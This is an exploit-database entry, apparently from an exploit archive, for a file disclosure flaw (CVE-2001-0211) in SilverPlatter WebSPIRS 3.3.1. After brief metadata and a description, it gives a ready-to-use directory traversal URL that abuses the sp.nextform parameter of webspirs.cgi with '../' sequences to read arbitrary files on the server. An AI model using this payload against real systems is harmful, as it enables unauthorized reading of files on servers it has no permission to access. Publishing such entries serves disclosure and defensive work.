SilverPlatter WebSPIRS 3.3.1 - File Disclosure

Author: cuctema
type: remote
platform: multiple
port: 
date_added: 2001-02-12 
date_updated: 2012-08-18 
verified: 1 
codes: CVE-2001-0211;OSVDB-512 
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source: https://www.securityfocus.com/bid/2362/info

A remote user could gain read access to known files outside of the root directory where SilverPlatter WebSPIRS resides. Requesting a specially crafted URL composed of '../' sequences along with the known filename will disclose the requested file.

www.target.com/cgi-bin/webspirs.cgi?sp.nextform=../../../../../../path/to/file